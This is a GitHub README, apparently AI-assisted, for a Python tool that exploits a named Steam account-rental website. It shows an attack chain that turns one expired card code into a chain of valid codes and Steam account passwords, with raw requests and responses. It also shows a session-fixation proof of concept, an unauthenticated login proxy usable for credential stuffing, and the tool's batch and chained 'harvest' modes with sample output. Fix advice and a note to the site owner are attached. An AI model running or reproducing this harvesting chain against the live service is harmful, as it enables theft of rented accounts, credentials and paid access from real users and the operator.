ADWMC/wukong-harvest

GitHub: ADWMC/wukong-harvest

针对Steam租号平台进行Web安全漏洞研究的教学工具,包含漏洞分析、复现脚本及修复建议。

Stars: 0 | Forks: 0

1|# 🔓 Steam租号系统安全漏洞研究 2| 3|> **⚠️ 免责声明** 4|> 本项目仅供安全研究和学习交流使用,**严禁用于任何非法用途**。 5|> 使用本工具进行未经授权的测试可能违反相关法律法规,使用者需自行承担法律责任。 6|> 本项目由 AI 辅助生成,仅作为安全研究示例。 7| 8|--- 9| 10|## 📋 项目概述 11| 12|本项目针对 Steam 租号平台 `zuhao.steamwukong.com` 进行安全研究,发现多个安全漏洞,包括信息泄露、无认证接口、会话管理缺陷等。 13| 14|### 研究对象 15| 16|| 项目 | 详情 | 17||------|------| 18|| 目标平台 | `zuhao.steamwukong.com` | 19|| 平台类型 | Steam 游戏账号租赁系统 | 20|| 技术栈 | PHP + nginx + 阿里云 WAF | 21|| ICP备案 | 鲁ICP备2026004801号 | 22|| 研究时间 | 2026年7月 | 23|| 研究方法 | OWASP WSTG 渗透测试方法论 | 24| 25|--- 26| 27|## 🔍 漏洞分析 28| 29|### 1. 核心漏洞:`check_account_occupied.php` 信息泄露 30| 31|**严重程度**:🔴 Critical 32|**漏洞类型**:CWE-200 (信息泄露) + CWE-639 (IDOR) 33|**CVSS评分**:8.5 34| 35|#### 漏洞描述 36| 37|`check_account_occupied.php` 接口在查询已被占用的 Steam 账号时,会返回当前绑定的**完整卡密信息**,且无需任何认证。 38| 39|#### 漏洞复现 40| 41|**请求:** 42|```bash 43|GET /api/check_account_occupied.php?account=xxxxxxxxxxxx HTTP/1.1 44|Host: zuhao.steamwukong.com 45|``` 46| 47|**响应:** 48|```json 49|{ 50| "success": true, 51| "account": "xxxxxxxxxxxx", 52| "occupied": true, 53| "end_time": "2026-07-05 20:38:18", 54| "detail": { 55| "occupation": { 56| "id": 63523, 57| "card_code": "BBBB5678", // ← 完整卡密泄露 58| "start_time": "2026-07-04 20:38:18", 59| "end_time": "2026-07-05 20:38:18" 60| }, 61| "rental": { 62| "id": 94300, 63| "card_code": "BBBB5678", // ← 重复泄露 64| "used_at": "2026-07-04 20:38:18", 65| "expires_at": "2026-07-05 20:38:18" 66| } 67| } 68|} 69|``` 70| 71|#### 攻击链 72| 73|``` 74|┌─────────────────────────────────────────────────────────────────┐ 75|│ 攻击链流程图 │ 76|├─────────────────────────────────────────────────────────────────┤ 77|│ │ 78|│ [过期卡密] ──POST──→ /api/redeem_card.php │ 79|│ │ │ 80|│ │ 响应: {"expired": true, "last_account": "xxxxxxxxxxxx"} │ 81|│ ↓ │ 82|│ [泄露账号] ──GET──→ /api/check_account_occupied.php │ 83|│ │ │ 84|│ │ 响应: {"detail": {"occupation": {"card_code": "BBBB..."}}}│ 85|│ ↓ │ 86|│ [有效卡密] ──POST──→ /api/redeem_card.php │ 87|│ │ │ 88|│ │ 响应: {"account": "...", "password": "...", "game": "..."}│ 89|│ ↓ │ 90|│ [账号密码+游戏信息] │ 91|│ │ 92|└─────────────────────────────────────────────────────────────────┘ 93|``` 94| 95|#### 影响范围 96| 97|- 只要知道一个过期卡密,就能无限循环获取新的有效卡密 98|- 可获取 Steam 账号密码和游戏信息 99|- 无需任何认证即可利用 100| 101|--- 102| 103|### 2. 无认证 Steam 登录代理:`add_friend.php` 104| 105|**严重程度**:🔴 Critical 106|**漏洞类型**:CWE-306 (缺少关键功能的认证) 107|**CVSS评分**:8.0 108| 109|#### 漏洞描述 110| 111|`add_friend.php` 接口接受任意 Steam 账号密码,无需卡密验证,可作为自动化登录代理。 112| 113|#### 漏洞复现 114| 115|**请求:** 116|```bash 117|POST /api/add_friend.php HTTP/1.1 118|Host: zuhao.steamwukong.com 119|Content-Type: application/json 120| 121|{ 122| "username": "任意steam账号", 123| "password": "任意密码", 124| "friend_code": "76561198000000000", 125| "headless": true 126|} 127|``` 128| 129|**响应:** 130|```json 131|{ 132| "max_concurrent": 1, 133| "message": "任务已加入队列(单线程顺序处理)", 134| "note": "任务将按顺序处理,完成前一个任务后才会处理下一个", 135| "queue_position": 41, 136| "running_tasks": 1, 137| "success": true, 138| "task_id": "1f6b01f4-17ba-4d7b-83e3-712c6191fff0" 139|} 140|``` 141| 142|#### 安全问题 143| 144|- 不需要卡密、不需要登录、没有验证码 145|- 可用于凭证填充攻击 146|- 可消耗服务器资源(队列堆积) 147|- 后端使用 Puppeteer 自动化登录 148| 149|--- 150| 151|### 3. Session Fixation 漏洞 152| 153|**严重程度**:🟠 High 154|**漏洞类型**:CWE-384 (Session Fixation) 155|**CVSS评分**:7.5 156| 157|#### 漏洞描述 158| 159|管理后台 `/admin/` 接受攻击者控制的 session ID,允许 session 固定攻击。 160| 161|#### 漏洞复现 162| 163|```python 164|import requests 165| 166|s = requests.Session() 167|s.cookies.set('PHPSESSID', 'attacker_controlled_id', domain='zuhao.steamwukong.com') 168|r = s.get('https://zuhao.steamwukong.com/admin/', timeout=10) 169| 170|# 服务器接受了攻击者的 session ID 171|print(s.cookies.get('PHPSESSID')) # 输出: attacker_controlled_id 172|``` 173| 174|#### 攻击场景 175| 176|1. 攻击者预设 session ID 177|2. 诱导管理员点击恶意链接 178|3. 管理员登录后,攻击者使用相同的 session ID 劫持会话 179| 180|--- 181| 182|### 4. 其他漏洞 183| 184|| ID | 漏洞 | 严重程度 | CVSS | 位置 | 185||----|------|----------|------|------| 186|| WEB-001 | CSRF 保护缺失 | 🟡 Medium | 5.0 | `/admin/` POST | 187|| WEB-002 | 暴力破解防护缺失 | 🟡 Medium | 5.0 | `/admin/` POST | 188|| WEB-003 | 弱验证码(数学题) | 🟢 Low | 3.0 | `/admin/` | 189|| WEB-004 | Cookie 安全属性缺失 | 🟡 Medium | 5.0 | `PHPSESSID` | 190|| WEB-005 | 安全头缺失 | 🟢 Low | 3.0 | 全站 | 191|| WEB-006 | 弱密码策略 | 🟡 Medium | 5.0 | `/admin/` POST | 192|| WEB-007 | 服务器路径泄露 | 🟡 Medium | 5.0 | `/api/test.php` | 193|| WEB-008 | CORS 配置过宽 | 🟡 Medium | 5.0 | 全部接口 | 194| 195|--- 196| 197|## 🛠️ 工具使用 198| 199|### 安装 200| 201|```bash 202|git clone https://github.com/ADWMC/wukong-harvest.git 203|cd wukong-harvest 204|pip install requests 205|``` 206| 207|### 运行 208| 209|```bash 210|python wukong_harvest.py 211|``` 212| 213|### 功能菜单 214| 215|``` 216|┌─────────────────────────────────────┐ 217|│ [1] 单个卡密收割 │ 218|│ [2] 批量卡密收割 │ 219|│ [3] 链式深度收割 │ 220|│ [4] 仅查询账号占用(不兑换) │ 221|│ [5] 通过账号反查卡密 │ 222|│ [6] 查看历史结果 │ 223|│ [0] 退出 │ 224|└─────────────────────────────────────┘ 225|``` 226| 227|### 使用示例 228| 229|**单个卡密收割:** 230|```bash 231|[1] 单个卡密收割 232|输入过期卡密: AAAA1234 233| 234|[▸] 兑换卡密: AAAA1234 235|[✓] 泄露账号: xxxxxxxxxxxx 236|[▸] 查询占用: xxxxxxxxxxxx 237|[✓] 泄露卡密: BBBB5678 到期: 2026-07-05 20:38:18 238|[▸] 兑换卡密: BBBB5678 239|[✓] 兑换成功! 240| 账号: xxxxxxxxxxxx 241| 密码: ************ 242| 游戏: 示例游戏 (0000000) 243| 到期: 2026-07-05 20:38:18 244|``` 245| 246|**链式深度收割:** 247|```bash 248|[3] 链式深度收割 249|输入种子卡密: AAAA1234 250|最大深度 [5]: 251| 252|[*] 链式收割,最大深度: 5 253| 254|── 第 1 轮 ── 255|[▸] 兑换卡密: AAAA1234 256|[✓] 泄露账号: xxxxxxxxxxxx 257|[✓] 泄露卡密: BBBB5678 258|[*] 新卡密 BBBB5678 加入队列 259| 260|── 第 2 轮 ── 261|[▸] 兑换卡密: BBBB5678 262|[✓] 兑换成功! 263|... 264|``` 265| 266|--- 267| 268|## 📊 API 接口分析 269| 270|### 已发现接口 271| 272|| 接口 | 方法 | 功能 | 安全问题 | 273||------|------|------|----------| 274|| `/api/redeem_card.php` | POST | 兑换卡密 | 过期卡密泄露账号 | 275|| `/api/check_account_occupied.php` | GET | 查询账号占用 | 🔴 泄露完整卡密 | 276|| `/api/get_verification_code.php` | GET | 获取验证码 | 限频 30秒 | 277|| `/api/check_rental.php` | GET | 查询续租状态 | 无 | 278|| `/api/change_account.php` | POST | 换号 | 需卡密验证 | 279|| `/api/add_friend.php` | POST | 添加好友 | 🔴 无认证 | 280|| `/api/get_task_status.php` | GET | 查询任务状态 | 泄露队列信息 | 281|| `/api/test.php` | GET | 测试接口 | 泄露服务器路径 | 282|| `/api/config.php` | GET | 配置接口 | 空响应 | 283| 284|### 卡密格式 285| 286|``` 287|格式: [A-Z]{4}[0-9]{4} 288|示例: AAAA1234, BBBB5678 289|字符集: 大写字母 + 数字 290|长度: 8位 291|空间: 26^4 × 10^4 = 4,569,760,000 292|``` 293| 294|--- 295| 296|## 🔧 技术细节 297| 298|### 服务器信息 299| 300|``` 301|Server: ESA (阿里云 WAF) 302|后端: PHP 303|前端: 单页 HTML + Tailwind CSS 3.4.17 304|CDN: 阿里云 CDN 305|SSL: Let's Encrypt 306|``` 307| 308|### 安全措施(已部署) 309| 310|- ✅ SQL 注入防护(参数化查询) 311|- ✅ XSS 防护(输入过滤) 312|- ✅ 文件包含防护 313|- ✅ 目录遍历防护(nginx) 314|- ✅ 验证码限频(30秒) 315|- ✅ HSTS 启用 316| 317|### 安全措施(缺失) 318| 319|- ❌ API 认证 320|- ❌ CSRF 保护 321|- ❌ 账户锁定 322|- ❌ 速率限制 323|- ❌ 安全响应头 324|- ❌ 强密码策略 325| 326|--- 327| 328|## 📝 漏洞修复建议 329| 330|### 高优先级 331| 332|1. **移除敏感信息** 333| ```php 334| // 修改前 335| "card_code" => $occupation->card_code, 336| 337| // 修改后 338| // 删除 card_code 字段,只返回 occupied 状态 339| ``` 340| 341|2. **添加 API 认证** 342| ```php 343| // 添加 Bearer token 验证 344| $token = $_SERVER['HTTP_AUTHORIZATION'] ?? ''; 345| if (!validate_token($token)) { 346| http_response_code(401); 347| exit(json_encode(['error' => 'Unauthorized'])); 348| } 349| ``` 350| 351|3. **修复 Session Fixation** 352| ```php 353| // 登录成功后重新生成 session ID 354| session_regenerate_id(true); 355| ``` 356| 357|### 中优先级 358| 359|4. **添加 CSRF 保护** 360|5. **实施速率限制** 361|6. **设置 Cookie 安全属性** 362|7. **添加安全响应头** 363| 364|### 低优先级 365| 366|8. **使用更强的验证码** 367|9. **实施强密码策略** 368| 369|--- 370| 371|## 📚 参考资料 372| 373|- [OWASP Web Security Testing Guide](https://owasp.org/www-project-web-security-testing-guide/) 374|- [OWASP Top 10 2021](https://owasp.org/Top10/) 375|- [CWE-200: Exposure of Sensitive Information](https://cwe.mitre.org/data/definitions/200.html) 376|- [CWE-384: Session Fixation](https://cwe.mitre.org/data/definitions/384.html) 377|- [CWE-639: Authorization Bypass Through User-Controlled Key](https://cwe.mitre.org/data/definitions/639.html) 378| 379|--- 380| 381|## 📢 致网站作者 382| 383|**如果你是 `zuhao.steamwukong.com` 的开发者或管理员:** 384| 385|本仓库记录了你网站上存在的安全漏洞,请尽快修复。我们没有利用这些漏洞获取任何利益,也没有泄露任何用户数据,仅做了技术验证。 386| 387|### 你需要立即修复的问题 388| 389|1. **`check_account_occupied.php` 泄露卡密** — 这是最严重的漏洞,任何人只要知道一个账号名就能获取当前绑定的完整卡密。**请删除返回数据中的 `card_code` 字段**,只返回 `occupied: true/false`。 390| 391|2. **`add_friend.php` 无认证** — 任何人都可以提交任意 Steam 账号密码到你的服务器执行自动化登录。**请添加卡密验证或 API Token 认证**。 392| 393|3. **`/admin/` Session Fixation** — 管理后台接受攻击者预设的 session ID。**请在登录成功后调用 `session_regenerate_id(true)`**。 394| 395|4. **`/api/test.php` 路径泄露** — 暴露了服务器绝对路径。**请删除或限制访问此文件**。 396| 397|### 联系方式 398| 399|如果你需要更详细的漏洞细节或修复建议,可以通过以下方式联系: 400|- 在本仓库提 Issue 401|- 通过 GitHub 联系仓库作者: [@ADWMC](https://github.com/ADWMC) 402| 403|### ICP备案信息 404| 405|- 备案号:鲁ICP备2026004801号 406|- 域名:steamwukong.com 407| 408|--- 409| 410|## 📄 许可证 411| 412|MIT License - 仅供学习和研究使用 413| 414|--- 415| 416|## ⚖️ 免责条款 417| 418|本软件按"原样"提供,作者不对使用本软件造成的任何损害承担责任。 419| 420|使用者应确保其行为符合当地法律法规,包括但不限于: 421|- 中华人民共和国网络安全法 422|- 中华人民共和国刑法 423|- 计算机信息网络国际联网安全保护管理办法 424| 425|使用本软件进行未经授权的测试可能构成违法行为,使用者需自行承担法律责任。 426| 427|--- 428| 429|**🤖 AI Generated** - 本项目由 AI 辅助生成,仅供安全研究和学习交流使用。 430|
标签:IDOR, StruQ, Web安全, 信息泄露, 漏洞分析, 蓝队分析, 路径探测, 逆向工具